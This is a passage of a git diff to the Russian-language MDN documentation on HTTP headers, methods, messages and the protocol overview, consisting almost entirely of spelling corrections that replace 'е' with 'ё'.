                  Максимальное время жизни cookie в формате метки даты-времени HTTP.  См. {{HTTPHeader("Date")}} о деталях формата  Если не определен, cookie будет иметь время жизни сессионного cookie.   Сессия окончена, когда клиент отключается, что приводит к удалению сессионных cookie в этот момент. Однако, многие браузеры имеют возможность, называемую восстановление сессии, которая сохраняет все ваши вкладки и затем возвращает их, когда вы в следующий раз запускаете браузер. Cookies будут также присутствовать, словно вы никогда не закрывали браузер.
                  
+ 
                  Максимальное время жизни cookie в формате метки даты-времени HTTP.  См. {{HTTPHeader("Date")}} о деталях формата  Если не определён, cookie будет иметь время жизни сессионного cookie.   Сессия окончена, когда клиент отключается, что приводит к удалению сессионных cookie в этот момент. Однако, многие браузеры имеют возможность, называемую восстановление сессии, которая сохраняет все ваши вкладки и затем возвращает их, когда вы в следующий раз запускаете браузер. Cookies будут также присутствовать, словно вы никогда не закрывали браузер.
                  
 
  
                  Когда устанавливается срок действия, время и дата устанавливаются не относительно сервера, а относительно клиента, на котором установлено cookie,
                  
  
                  
@@ -86,7 +86,7 @@ Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
  
                  Path=<path-value> {{optional_inline}}
                  
  
                  Путь, который должен существовать в запрошенном URL, иначе браузер не отправит заголовок Cookie.
                  
  
                  Пример: / - cookie будет отправляться со всеми запросами
                  
- Пример: /docs/ - cookie будет отправляться с запросами к директории docs и ее поддиректориям
                  
+ Пример: /docs/ - cookie будет отправляться с запросами к директории docs и её поддиректориям
  
                  Secure {{optional_inline}}
                  
  
                  Cookie будет отправлен на сервер только с запросами c использованием SSL и протокола HTTPS.
                  
  
                  
@@ -124,14 +124,14 @@ Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
 
 
 
-
                  Вместо истечения срока действия, когда клиент закрыт, срок действия постоянных файлов cookie истекает в определенную дату (Expires) или по истечении определенного промежутка времени (Max-Age).
                  
+
                  Вместо истечения срока действия, когда клиент закрыт, срок действия постоянных файлов cookie истекает в определённую дату (Expires) или по истечении определённого промежутка времени (Max-Age).
                  
 
 
                  Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
 
                  
 
 
                  Неверные домены
                  
 
-
                  Файл cookie, принадлежащий домену, который не включает исходный сервер, должен быть отклонен пользовательским. Следующий cookie будет отклонен, если он был установлен сервером, размещенным на originalcompany.com.
                  
+
                  Файл cookie, принадлежащий домену, который не включает исходный сервер, должен быть отклонён пользовательским. Следующий cookie будет отклонён, если он был установлен сервером, размещённым на originalcompany.com.
                  
 
 
                  Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT
                  
 
diff --git a/files/ru/web/http/headers/strict-transport-security/index.html b/files/ru/web/http/headers/strict-transport-security/index.html
index b4c6271a82..d5fa694237 100644
--- a/files/ru/web/http/headers/strict-transport-security/index.html
+++ b/files/ru/web/http/headers/strict-transport-security/index.html
@@ -6,7 +6,7 @@ original_slug: Web/HTTP/Заголовки/Strict-Transport-Security
 ---
 
                  {{HTTPSidebar}}
                  
 
-
                  HTTP Strict-Transport-Security  - заголовок ответа (часто используется аббревиатура {{Glossary("HSTS")}}), позволяющий web-сайтам уведомить браузер о том, что доступ к ним должен быть осуществлен только посредством HTTPS вместо HTTP.
                  
+
                  HTTP Strict-Transport-Security  - заголовок ответа (часто используется аббревиатура {{Glossary("HSTS")}}), позволяющий web-сайтам уведомить браузер о том, что доступ к ним должен быть осуществлён только посредством HTTPS вместо HTTP.
                  @@ -41,7 +41,7 @@ Strict-Transport-Security: max-age=<expire-time>; preload

                  Описание

                  -

                  Если сайт поддерживает доступ с помощью HTTP и перенаправляет на HTTPS, посетители могут изначально коммуницировать с незащищенной версией сайта до перенаправления, если, к примеру, введут http://www.foo.com/ или даже просто foo.com. Это открывает возможности для атак посредников. Перенаправление может быть использовано для перевода посетителей на сайт злоумышленников вместо защищенной версии оригинального сайта.

                  +

                  Если сайт поддерживает доступ с помощью HTTP и перенаправляет на HTTPS, посетители могут изначально коммуницировать с незащищённой версией сайта до перенаправления, если, к примеру, введут http://www.foo.com/ или даже просто foo.com. Это открывает возможности для атак посредников. Перенаправление может быть использовано для перевода посетителей на сайт злоумышленников вместо защищённой версии оригинального сайта.

                  HTTP Strict Transport Security заголовок сообщает браузеру, что тот никогда не должен загружать сайт через HTTP и всегда должен автоматически конвертировать все попытки доступа к сайту с помощью HTTP в HTTPS.

                  @@ -53,7 +53,7 @@ Strict-Transport-Security: max-age=<expire-time>; preload

                  Strict Transport Security разрешает эту проблему; пока вы подключены к вашему банковскому сайту с помощью HTTPS и тот использует Strict Transport Security, ваш браузер знает, что должен автоматически использовать только HTTPS, который не позволяет хакерам производить подобные атаки посредников.

                  -

                  Как ведет себя браузер

                  +

                  Как ведёт себя браузер

                  При первом доступе к сайту с помощью HTTPS и возврате Strict-Transport-Security заголовка, браузер сохраняет эту информацию, чтобы в дальнейшем при загрузке сайта через HTTP тот автоматически использовал HTTPS.

                  @@ -63,7 +63,7 @@ Strict-Transport-Security: max-age=<expire-time>; preload

                  Предзагрузка Strict Transport Security

                  -

                  Google поддерживает HSTS preload service. Следуя инструкциям и удачно отправив свой домен, браузер никогда не подключится к вашему домену через незащищенное соединение. Так как сервис хостится Google, все браузеры должны изъявить о намерении использовать (или на самом деле начать пользоваться) предзагруженным списком. Однако, это не часть HSTS спецификации и не должно считаться официальным.

                  +

                  Google поддерживает HSTS preload service. Следуя инструкциям и удачно отправив свой домен, браузер никогда не подключится к вашему домену через незащищённое соединение. Так как сервис хостится Google, все браузеры должны изъявить о намерении использовать (или на самом деле начать пользоваться) предзагруженным списком. Однако, это не часть HSTS спецификации и не должно считаться официальным.

                  • Информация о списке HSTS предзагрузки в Chrome : https://www.chromium.org/hsts
                    • diff --git a/files/ru/web/http/headers/vary/index.html b/files/ru/web/http/headers/vary/index.html index 25d269b056..b0b114d3e3 100644 --- a/files/ru/web/http/headers/vary/index.html +++ b/files/ru/web/http/headers/vary/index.html @@ -35,7 +35,7 @@ Vary: <header-name>, <header-name>, ...
                    *
                    Каждый запрос должен рассматриваться как уникальный и не кэшируемый. Лучший способ указать это - использовать {{HTTPHeader ("Cache-Control")}}: no-store, который удобнее для чтения и также сигнализирует о том, что объект не должен храниться никогда.
                    <header-name>
                    -
                    Разделенный запятыми список имен заголовков, которые необходимо учитывать при принятии решения о том, можно ли использовать кэшированный ответ.
                    +
                    Разделённый запятыми список имён заголовков, которые необходимо учитывать при принятии решения о том, можно ли использовать кэшированный ответ.

                    Examples

                    diff --git a/files/ru/web/http/headers/x-content-type-options/index.html b/files/ru/web/http/headers/x-content-type-options/index.html index 7271e86cd1..e037d5435d 100644 --- a/files/ru/web/http/headers/x-content-type-options/index.html +++ b/files/ru/web/http/headers/x-content-type-options/index.html @@ -13,7 +13,7 @@ original_slug: Web/HTTP/Заголовки/X-Content-Type-Options

                    HTTP-заголовок ответа X-Content-Type-Options является маркером, используемым сервером для указания того, что типы MIME, объявленные в заголовках {{HTTPHeader ("Content-Type")}}, должны соблюдаться и не изменяться. Это позволяет отказаться от перехвата MIME, или, другими словами, это способ сказать, что веб-мастера знали, что они делают.

                    -

                    Этот HTTP-заголовок был введен Microsoft в IE 8 как способ для веб-мастеров блокировать происходящий перехват содержимого и может преобразовывать неисполняемые типы MIME в исполняемые типы MIME. С тех пор другие браузеры внедрили его, даже если их алгоритмы обработки MIME были менее агрессивными.

                    +

                    Этот HTTP-заголовок был введён Microsoft в IE 8 как способ для веб-мастеров блокировать происходящий перехват содержимого и может преобразовывать неисполняемые типы MIME в исполняемые типы MIME. С тех пор другие браузеры внедрили его, даже если их алгоритмы обработки MIME были менее агрессивными.

                    Тестеры безопасности сайта обычно ожидают, что этот заголовок будет установлен.

                    diff --git a/files/ru/web/http/headers/x-forwarded-for/index.html b/files/ru/web/http/headers/x-forwarded-for/index.html index 337bdaaacd..a8b990579c 100644 --- a/files/ru/web/http/headers/x-forwarded-for/index.html +++ b/files/ru/web/http/headers/x-forwarded-for/index.html @@ -16,7 +16,7 @@ original_slug: Web/HTTP/Заголовки/X-Forwarded-For

                    Стандартизованной версией этого заголовка является HTTP {{HTTPHeader("Forwarded")}} заголовок.

                    -

                    X-Forwarded-For  также является заголовком электронной почты, указывающим, что сообщение электронной почты было отправлено из другой учетной записи.

                    +

                    X-Forwarded-For  также является заголовком электронной почты, указывающим, что сообщение электронной почты было отправлено из другой учётной записи.

                  diff --git a/files/ru/web/http/headers/x-xss-protection/index.html b/files/ru/web/http/headers/x-xss-protection/index.html index 442fe6ab95..7bc5ec770b 100644 --- a/files/ru/web/http/headers/x-xss-protection/index.html +++ b/files/ru/web/http/headers/x-xss-protection/index.html @@ -22,7 +22,7 @@ original_slug: Web/HTTP/Заголовки/X-XSS-Protection diff --git a/files/ru/web/http/index.html b/files/ru/web/http/index.html index aec0b6c893..b1708e5627 100644 --- a/files/ru/web/http/index.html +++ b/files/ru/web/http/index.html @@ -10,7 +10,7 @@ translation_of: Web/HTTP ---

                  {{HTTPSidebar}}

                  -

                  Протокол передачи гипертекста (Hypertext Transfer Protocol - HTTP) - это прикладной протокол для передачи гипертекстовых документов, таких как HTML. Он создан для связи между веб-браузерами и веб-серверами, хотя в принципе HTTP может использоваться и для других целей. Протокол следует классической клиент-серверной модели, когда клиент открывает соединение для создания запроса, а затем ждет ответа. HTTP - это протокол без сохранения состояния, то есть сервер не сохраняет никаких данных (состояние) между двумя парами "запрос-ответ". Несмотря на то, что HTTP основан на TCP/IP, он также может использовать любой другой протокол транспортного уровня с гарантированной доставкой.

                  +

                  Протокол передачи гипертекста (Hypertext Transfer Protocol - HTTP) - это прикладной протокол для передачи гипертекстовых документов, таких как HTML. Он создан для связи между веб-браузерами и веб-серверами, хотя в принципе HTTP может использоваться и для других целей. Протокол следует классической клиент-серверной модели, когда клиент открывает соединение для создания запроса, а затем ждёт ответа. HTTP - это протокол без сохранения состояния, то есть сервер не сохраняет никаких данных (состояние) между двумя парами "запрос-ответ". Несмотря на то, что HTTP основан на TCP/IP, он также может использовать любой другой протокол транспортного уровня с гарантированной доставкой.

                  @@ -69,7 +69,7 @@ translation_of: Web/HTTP
                  Коды ответа (HTTP response codes)
                  -
                  Коды ответа HTTP указывают на результат выполнения определенного HTTP-запроса. Ответы сгруппированы в пять категорий: информационные ответы, удачные ответы, перенаправления, ошибки клиента и ошибки сервера.
                  +
                  Коды ответа HTTP указывают на результат выполнения определённого HTTP-запроса. Ответы сгруппированы в пять категорий: информационные ответы, удачные ответы, перенаправления, ошибки клиента и ошибки сервера.
                  Директивы CSP
                  Поля заголовка ответа {{HTTPHeader("Content-Security-Policy")}} позволяют администраторам веб-сайтов контролировать ресурсы, которые браузер пользователя может загрузить на данную веб-страницу. За некоторым исключением, эти политики связаны с указанием сервера-источника и адресов доступа (обращения) скриптов.
                  diff --git a/files/ru/web/http/messages/index.html b/files/ru/web/http/messages/index.html index e41f8ceecf..2b63856539 100644 --- a/files/ru/web/http/messages/index.html +++ b/files/ru/web/http/messages/index.html @@ -36,7 +36,7 @@ translation_of: Web/HTTP/Messages

                  Стартовая строка

                  -

                  HTTP запросы - это сообщения, отправляемые клиентом, чтобы инициировать реакцию со стороны сервера. Их стартовая строка состоит из трех элементов:

                  +

                  HTTP запросы - это сообщения, отправляемые клиентом, чтобы инициировать реакцию со стороны сервера. Их стартовая строка состоит из трёх элементов:

                  1. @@ -44,7 +44,7 @@ translation_of: Web/HTTP/Messages
                  2. Цель запроса, обычно {{glossary("URL")}}, или абсолютный путь протокола, порт и домен обычно характеризуются контекстом запроса. Формат цели запроса зависит от используемого HTTP-метода. Это может быть
                      -
                    • Абсолютный путь, за которым следует '?' и строка запроса. Это самая распространенная форма, называемая исходной формой (origin form) . Используется с методами GET, POST, HEAD, и OPTIONS.
                      +
                    • Абсолютный путь, за которым следует '?' и строка запроса. Это самая распространённая форма, называемая исходной формой (origin form) . Используется с методами GET, POST, HEAD, и OPTIONS.
                      POST / HTTP 1.1
                      GET /background.png HTTP/1.0
                      HEAD /test.html?query=alibaba HTTP/1.1
                      @@ -53,7 +53,7 @@ translation_of: Web/HTTP/Messages GET http://developer.mozilla.org/ru/docs/Web/HTTP/Messages HTTP/1.1
                    • Компонента URL "authority", состоящая из имени домена и (необязательно) порта (предваряемого символом ':'), называется authority form. Используется только с методом CONNECT при установке туннеля HTTP.
                      CONNECT developer.mozilla.org:80 HTTP/1.1
                      • -
                    • Форма звездочки (asterisk form), просто "звездочка" ('*') используется с методом OPTIONS и представляет сервер.
                      +
                    • Форма звёздочки (asterisk form), просто "звёздочка" ('*') используется с методом OPTIONS и представляет сервер.
                      OPTIONS * HTTP/1.1
                    3. @@ -133,7 +133,7 @@ translation_of: Web/HTTP/Messages
                    • Заголовки, в отличие от тел, не сжимаются.
                    • Заголовки, которые зачастую практически совпадают у идущих подряд сообщений, приходится передавать по отдельности.
                      • -
                    • Мультиплексность невозможна. Приходится открывать соединение для каждого сообщения, а теплые (warm) соединения TCP эффективнее холодных (cold).
                      • +
                    • Мультиплексность невозможна. Приходится открывать соединение для каждого сообщения, а тёплые (warm) соединения TCP эффективнее холодных (cold).

                    HTTP/2 переходит на новый уровень: он делит сообщения HTTP/1.x на фреймы, которые внедряются в поток. Фреймы данных из заголовков отделены друг от друга, что позволяет сжимать заголовки. Несколько потоков можно объединять друг с другом - такой процесс называется мультиплексированием - что позволяет более эффективно использовать TCP-соединения.

                    @@ -144,4 +144,4 @@ translation_of: Web/HTTP/Messages

                    Заключение

                    -

                    Сообщения HTTP играют ключевую роль в использовании HTTP; они имеют простую структуру и хорошо расширяемы. Механизм фреймов в HTTP/2 добавляет еще один промежуточный уровень между синтаксисом HTTP/1.x и используемым им транспортным протоколом, не проводя фундаментальных изменений: создается надстройка над уже зарекомендовавшими себя методами.

                    +

                    Сообщения HTTP играют ключевую роль в использовании HTTP; они имеют простую структуру и хорошо расширяемы. Механизм фреймов в HTTP/2 добавляет ещё один промежуточный уровень между синтаксисом HTTP/1.x и используемым им транспортным протоколом, не проводя фундаментальных изменений: создаётся надстройка над уже зарекомендовавшими себя методами.

                    diff --git a/files/ru/web/http/methods/connect/index.html b/files/ru/web/http/methods/connect/index.html index 755ffb6f10..21693bb37a 100644 --- a/files/ru/web/http/methods/connect/index.html +++ b/files/ru/web/http/methods/connect/index.html @@ -70,7 +70,7 @@ Proxy-Authorization: basic aGVsbG86d29ybGQ=

                    Совместимость с браузером

                    - +

                    {{Compat("http.methods.CONNECT")}}

                    diff --git a/files/ru/web/http/methods/delete/index.html b/files/ru/web/http/methods/delete/index.html index e263d3c2e0..912bdd96e1 100644 --- a/files/ru/web/http/methods/delete/index.html +++ b/files/ru/web/http/methods/delete/index.html @@ -57,7 +57,7 @@ translation_of: Web/HTTP/Methods/DELETE

                    Если метод DELETE успешно выполняется, то возможны следующие коды состояния ответа:

                      -
                    •  {{HTTPStatus("202")}} (Accepted) код состояния, если удаление будет успешным, но еще не выполнено.
                      • +
                    •  {{HTTPStatus("202")}} (Accepted) код состояния, если удаление будет успешным, но ещё не выполнено.
                    •  {{HTTPStatus("204")}} (No Content) код ответа, если удаление было выполнено, но тело ответа отсутствует.
                    •  {{HTTPStatus("200")}} (OK) код ответа, если удаление было выполнено, и ответ содержит код и объект описывающий состояние.
                    diff --git a/files/ru/web/http/methods/options/index.html b/files/ru/web/http/methods/options/index.html index a6f1d95b77..48dbde81de 100644 --- a/files/ru/web/http/methods/options/index.html +++ b/files/ru/web/http/methods/options/index.html @@ -9,7 +9,7 @@ translation_of: Web/HTTP/Methods/OPTIONS ---
                    {{HTTPSidebar}}
                    -

                    HTTP-метод OPTIONS используется для описания параметров соединения с целевым ресурсом. Клиент может указать особый URL для обработки метода OPTIONS, или * (звездочку) чтобы указать весь сервер целиком.

                    +

                    HTTP-метод OPTIONS используется для описания параметров соединения с целевым ресурсом. Клиент может указать особый URL для обработки метода OPTIONS, или * (звёздочку) чтобы указать весь сервер целиком.

                  -

                  Запрещенное имя заголовка

                  +

                  Запрещённое имя заголовка

                  {{Glossary("Forbidden header name")}}

                  @@ -48,7 +48,7 @@ OPTIONS * HTTP/1.1

                  Примеры

                  -

                  Определение разрешенных сервером методов запроса

                  +

                  Определение разрешённых сервером методов запроса

                  Для того, чтобы узнать какие методы запросов поддерживаются сервером, можно воспользоваться curl направить OPTIONS запрос:

                  diff --git a/files/ru/web/http/methods/patch/index.html b/files/ru/web/http/methods/patch/index.html index bbf8a73ad6..63c8ce82aa 100644 --- a/files/ru/web/http/methods/patch/index.html +++ b/files/ru/web/http/methods/patch/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTTP/Methods/PATCH

                  Чтобы обозначить, что сервер поддерживает PATCH, можно добавить этот метод в список заголовков ответа {{HTTPHeader("Allow")}} или {{HTTPHeader("Access-Control-Allow-Methods")}} (для CORS).

                  -

                  Другой (неявный) индикатор, что PATCH разрешён, является наличие заголовка {{HTTPHeader("Accept-Patch")}}, где описано, в каком формате сервер принимает измененные документы.

                  +

                  Другой (неявный) индикатор, что PATCH разрешён, является наличие заголовка {{HTTPHeader("Accept-Patch")}}, где описано, в каком формате сервер принимает изменённые документы.

                  diff --git a/files/ru/web/http/methods/post/index.html b/files/ru/web/http/methods/post/index.html index 5e0778692d..697b705b8f 100644 --- a/files/ru/web/http/methods/post/index.html +++ b/files/ru/web/http/methods/post/index.html @@ -11,12 +11,12 @@ translation_of: Web/HTTP/Methods/POST

                  HTTP-метод POST предназначен для отправки данных на сервер. Тип тела запроса указывается в заголовке {{HTTPHeader("Content-Type")}}.

                  -

                  Разница между {{HTTPMethod("PUT")}} и POST состоит в том, что PUT является идемпотентным: повторное его применение дает тот же результат, что и при первом применении (то есть у метода нет побочных эффектов), тогда как повторный вызов одного и того же метода POST может иметь такие эффекты, как например, оформление одного и того же заказа несколько раз.

                  +

                  Разница между {{HTTPMethod("PUT")}} и POST состоит в том, что PUT является идемпотентным: повторное его применение даёт тот же результат, что и при первом применении (то есть у метода нет побочных эффектов), тогда как повторный вызов одного и того же метода POST может иметь такие эффекты, как например, оформление одного и того же заказа несколько раз.

                  -

                  Запрос POST обычно отправляется через форму HTML и приводит к изменению на сервере. В этом случае тип содержимого выбирается путем размещения соответствующей строки в атрибуте {{htmlattrxref ("enctype", "form")}} элемента {{HTMLElement ("form")}} или {{htmlattrxref ("formenctype", "input")}} атрибута элементов {{HTMLElement ("input")}} или {{HTMLElement ("button")}}:

                  +

                  Запрос POST обычно отправляется через форму HTML и приводит к изменению на сервере. В этом случае тип содержимого выбирается путём размещения соответствующей строки в атрибуте {{htmlattrxref ("enctype", "form")}} элемента {{HTMLElement ("form")}} или {{htmlattrxref ("formenctype", "input")}} атрибута элементов {{HTMLElement ("input")}} или {{HTMLElement ("button")}}:

                    -
                  • application/x-www-form-urlencoded: значения кодируются в кортежах с ключом, разделенных символом '&', с '=' между ключом и значением. Не буквенно-цифровые символы - {{glossary ("percent encoded")}}: это причина, по которой этот тип не подходит для использования с двоичными данными (вместо этого используйте multipart/form-data)
                    • +
                  • application/x-www-form-urlencoded: значения кодируются в кортежах с ключом, разделённых символом '&', с '=' между ключом и значением. Не буквенно-цифровые символы - {{glossary ("percent encoded")}}: это причина, по которой этот тип не подходит для использования с двоичными данными (вместо этого используйте multipart/form-data)
                  • multipart/form-data: каждое значение посылается как блок данных ("body part"), с заданными пользовательским клиентом разделителем ("boundary"), разделяющим каждую часть. Эти ключи даются в заголовки Content-Disposition каждой части
                  • text/plain
                  diff --git a/files/ru/web/http/methods/put/index.html b/files/ru/web/http/methods/put/index.html index c759172730..60a1d0df58 100644 --- a/files/ru/web/http/methods/put/index.html +++ b/files/ru/web/http/methods/put/index.html @@ -10,7 +10,7 @@ translation_of: Web/HTTP/Methods/PUT ---
                  {{HTTPSidebar}}
                  -
                  Метод запроса HTTP PUT создает новый ресурс или заменяет представление целевого ресурса, данными представленными в теле запроса.
                  +
                  Метод запроса HTTP PUT создаёт новый ресурс или заменяет представление целевого ресурса, данными представленными в теле запроса.
                  @@ -63,7 +63,7 @@ Content-length: 16

                  Ответ

                  -

                  Если целевой ресурс не содержит отправляемой сущности и PUT запрос создает ее, то сервер должен проинформировать клиентское приложение о создании, отправив в ответ {{HTTPStatus("201")}} (Created).

                  +

                  Если целевой ресурс не содержит отправляемой сущности и PUT запрос создаёт её, то сервер должен проинформировать клиентское приложение о создании, отправив в ответ {{HTTPStatus("201")}} (Created).

                  HTTP/1.1 201 Created
 Content-Location: /new.html
diff --git a/files/ru/web/http/overview/index.html b/files/ru/web/http/overview/index.html
index e4b79afce4..28144e2bc7 100644
--- a/files/ru/web/http/overview/index.html
+++ b/files/ru/web/http/overview/index.html
@@ -16,7 +16,7 @@ translation_of: Web/HTTP/Overview
 
 
                  Клиенты и серверы взаимодействуют, обмениваясь одиночными сообщениями (а не потоком данных). Сообщения, отправленные клиентом, обычно веб-браузером, называются запросами, а сообщения, отправленные сервером, называются ответами.
                  
 
-
                  HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer.Хотя HTTP был разработан  еще в начале 1990-х годов, за счет своей расширяемости в дальнейшем он все время совершенствовался.  HTTP является протоколом прикладного уровня, который чаще всего использует возможности другого протокола - {{glossary("TCP")}} (или {{glossary("TLS")}} - защищённый TCP) - для пересылки своих сообщений, однако любой другой надежный транспортный протокол теоретически может быть использован для доставки таких сообщений. Благодаря своей расширяемости, он используется не только для получения клиентом гипертекстовых документов, изображений и видео, но и для передачи содержимого серверам, например, с помощью HTML-форм. HTTP также может быть использован для получения только частей документа с целью обновления веб-страницы по запросу (например посредством AJAX запроса).
                  
+
                  HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer.Хотя HTTP был разработан  ещё в начале 1990-х годов, за счёт своей расширяемости в дальнейшем он все время совершенствовался.  HTTP является протоколом прикладного уровня, который чаще всего использует возможности другого протокола - {{glossary("TCP")}} (или {{glossary("TLS")}} - защищённый TCP) - для пересылки своих сообщений, однако любой другой надёжный транспортный протокол теоретически может быть использован для доставки таких сообщений. Благодаря своей расширяемости, он используется не только для получения клиентом гипертекстовых документов, изображений и видео, но и для передачи содержимого серверам, например, с помощью HTML-форм. HTTP также может быть использован для получения только частей документа с целью обновления веб-страницы по запросу (например посредством AJAX запроса).
                  
 
 
                  Составляющие систем, основанных на HTTP
                  
 
@@ -60,23 +60,23 @@ translation_of: Web/HTTP/Overview
 
 
                  HTTP - прост
                  
 
-
                  Даже с большей сложностью, введенной в HTTP/2 путем инкапсуляции HTTP-сообщений в фреймы, HTTP, как правило, прост и удобен для восприятия человеком. HTTP-сообщения могут читаться и пониматься людьми, обеспечивая более легкое тестирование разработчиков и уменьшенную сложность для новых пользователей.
                  
+
                  Даже с большей сложностью, введённой в HTTP/2 путём инкапсуляции HTTP-сообщений в фреймы, HTTP, как правило, прост и удобен для восприятия человеком. HTTP-сообщения могут читаться и пониматься людьми, обеспечивая более лёгкое тестирование разработчиков и уменьшенную сложность для новых пользователей.
                  
 
 
                  HTTP - расширяемый
                  
 
-
                  Введенные в HTTP/1.0 HTTP-заголовки сделали этот протокол легким для расширения и экспериментирования. Новая функциональность может быть даже введена простым соглашением между клиентом и сервером о семантике нового заголовка.
                  
+
                  Введённые в HTTP/1.0 HTTP-заголовки сделали этот протокол лёгким для расширения и экспериментирования. Новая функциональность может быть даже введена простым соглашением между клиентом и сервером о семантике нового заголовка.
                  
 
 
                  HTTP не имеет состояния, но имеет сессию
                  
 
-
                  HTTP не имеет состояния: не существует связи между двумя запросами, которые последовательно выполняются по одному соединению. Из этого немедленно следует возможность проблем для пользователя, пытающегося взаимодействовать с определенной страницей последовательно, например, при использовании корзины в электронном магазине. Но хотя ядро HTTP не имеет состояния, куки позволяют использовать сессии с сохранением состояния. Используя расширяемость заголовков, куки добавляются к рабочему потоку, позволяя сессии на каждом HTTP-запросе делиться некоторым контекстом, или состоянием.
                  
+
                  HTTP не имеет состояния: не существует связи между двумя запросами, которые последовательно выполняются по одному соединению. Из этого немедленно следует возможность проблем для пользователя, пытающегося взаимодействовать с определённой страницей последовательно, например, при использовании корзины в электронном магазине. Но хотя ядро HTTP не имеет состояния, куки позволяют использовать сессии с сохранением состояния. Используя расширяемость заголовков, куки добавляются к рабочему потоку, позволяя сессии на каждом HTTP-запросе делиться некоторым контекстом, или состоянием.
                  
 
 
                  HTTP и соединения
                  
 
-
                  Соединение управляется на транспортном уровне, и потому принципиально выходит за границы HTTP. Хотя HTTP не требует, чтобы базовый транспортного протокол был основан на соединениях,  требуя только надёжность, или отсутствие потерянных сообщений (т.е. как минимум представление ошибки). Среди двух наиболее распространенных транспортных протоколов Интернета, TCP надёжен, а UDP -- нет. HTTP впоследствии полагается на стандарт TCP, являющийся основанным на соединениях, несмотря на то, что соединение не всегда требуется.
                  
+
                  Соединение управляется на транспортном уровне, и потому принципиально выходит за границы HTTP. Хотя HTTP не требует, чтобы базовый транспортного протокол был основан на соединениях,  требуя только надёжность, или отсутствие потерянных сообщений (т.е. как минимум представление ошибки). Среди двух наиболее распространённых транспортных протоколов Интернета, TCP надёжен, а UDP -- нет. HTTP впоследствии полагается на стандарт TCP, являющийся основанным на соединениях, несмотря на то, что соединение не всегда требуется.
                  
 
-
                  HTTP/1.0 открывал TCP-соединение для каждого обмена запросом/ответом, имея два важных недостатка: открытие соединения требует нескольких обменов сообщениями, и потому медленно, хотя становится более эффективным при отправке нескольких сообщений, или при регулярной отправке сообщений: теплые соединения более эффективны, чем холодные.
                  
+
                  HTTP/1.0 открывал TCP-соединение для каждого обмена запросом/ответом, имея два важных недостатка: открытие соединения требует нескольких обменов сообщениями, и потому медленно, хотя становится более эффективным при отправке нескольких сообщений, или при регулярной отправке сообщений: тёплые соединения более эффективны, чем холодные.
                  
 
-
                  Для смягчения этих недостатков, HTTP/1.1 предоставил конвейерную обработку (которую оказалось трудно реализовать) и устойчивые соединения: лежащее в основе TCP соединение можно частично контролировать через заголовок  {{HTTPHeader("Connection")}}. HTTP/2 сделал следующий шаг, добавив мультиплексирование сообщений через простое соединение, помогающее держать соединение теплым и более эффективным.
                  
+
                  Для смягчения этих недостатков, HTTP/1.1 предоставил конвейерную обработку (которую оказалось трудно реализовать) и устойчивые соединения: лежащее в основе TCP соединение можно частично контролировать через заголовок  {{HTTPHeader("Connection")}}. HTTP/2 сделал следующий шаг, добавив мультиплексирование сообщений через простое соединение, помогающее держать соединение тёплым и более эффективным.
                  
 
 
                  Проводятся эксперименты по разработке лучшего транспортного протокола, более подходящего для HTTP. Например, Google экспериментирует с QUIC, которая основана на  UDP, для предоставления более надёжного и эффективного транспортного протокола.
                  
 
@@ -96,7 +96,7 @@ translation_of: Web/HTTP/Overview
  
                • Прокси и туннелирование
                  
   Серверы и/или клиенты часто располагаются в интернете, и скрывают свои истинные IP-адреса от других. HTTP запросы идут через прокси для пересечения этого сетевого барьера. Не все прокси -- HTTP прокси. SOCKS-протокол, например, оперирует на более низком уровне. Другие, как, например, ftp, могут быть обработаны этими прокси.
                  • 
  
                • Сессии
                  
-  Использование HTTP кук позволяет связать запрос с состоянием на сервере. Это создает сессию,  хотя ядро HTTP -- протокол без состояния.  Это полезно не только для корзин в интернет-магазинах, но также для любых сайтов, позволяющих пользователю настроить выход.
                  • 
+  Использование HTTP кук позволяет связать запрос с состоянием на сервере. Это создаёт сессию,  хотя ядро HTTP -- протокол без состояния.  Это полезно не только для корзин в интернет-магазинах, но также для любых сайтов, позволяющих пользователю настроить выход.
 
 
 
                  HTTP поток
                  
@@ -125,13 +125,13 @@ Content-Type: text/html
  
                • Закрывает или переиспользует соединение для дальнейших запросов.
                  • 
 
 
-
                  Если активирован HTTP-конвейер, несколько запросов могут быть отправлены без ожидания получения первого ответа целиком. HTTP-конвейер тяжело внедряется в существующие сети, где старые куски ПО сосуществуют с современными версиями.  HTTP-конвейер был заменен в HTTP/2 на более надежные мультиплексные запросы во фрейме.
                  
+
                  Если активирован HTTP-конвейер, несколько запросов могут быть отправлены без ожидания получения первого ответа целиком. HTTP-конвейер тяжело внедряется в существующие сети, где старые куски ПО сосуществуют с современными версиями.  HTTP-конвейер был заменён в HTTP/2 на более надёжные мультиплексные запросы во фрейме.
                  
 
 
                  HTTP сообщения
                  
 
 
                  HTTP/1.1 и более ранние HTTP сообщения человеко-читаемы. В версии HTTP/2 эти сообщения встроены в новую бинарную структуру, фрейм, позволяющий оптимизации, такие как компрессия заголовков и мультиплексирование. Даже если часть оригинального HTTP сообщения отправлена в этой версии HTTP, семантика каждого сообщения не изменяется и клиент воссоздаёт (виртуально) оригинальный HTTP-запрос. Это также полезно для понимания HTTP/2 сообщений в формате HTTP/1.1.
                  
 
-
                  Существует два типа HTTP сообщений, запросы и ответы, каждый в своем формате.
                  
+
                  Существует два типа HTTP сообщений, запросы и ответы, каждый в своём формате.
                  
 
 
                  Запросы
                  
 
@@ -167,6 +167,6 @@ Content-Type: text/html
 
 
                  Вывод
                  
 
-
                  HTTP -- легкий в использовании расширяемый протокол. Структура клиент-сервера, вместе со способностью к простому добавлению заголовков, позволяет HTTP продвигаться вместе с расширяющимися возможностями Сети.
                  
+
                  HTTP -- лёгкий в использовании расширяемый протокол. Структура клиент-сервера, вместе со способностью к простому добавлению заголовков, позволяет HTTP продвигаться вместе с расширяющимися возможностями Сети.
                  
 
-
                  Хотя HTTP/2 добавляет некоторую сложность, встраивая HTTP сообщения во фреймы для улучшения производительности, базовая структура сообщений осталась с HTTP/1.0. Сессионный поток остается простым, позволяя исследовать и отлаживать с простым монитором HTTP-сообщений.
                  
+
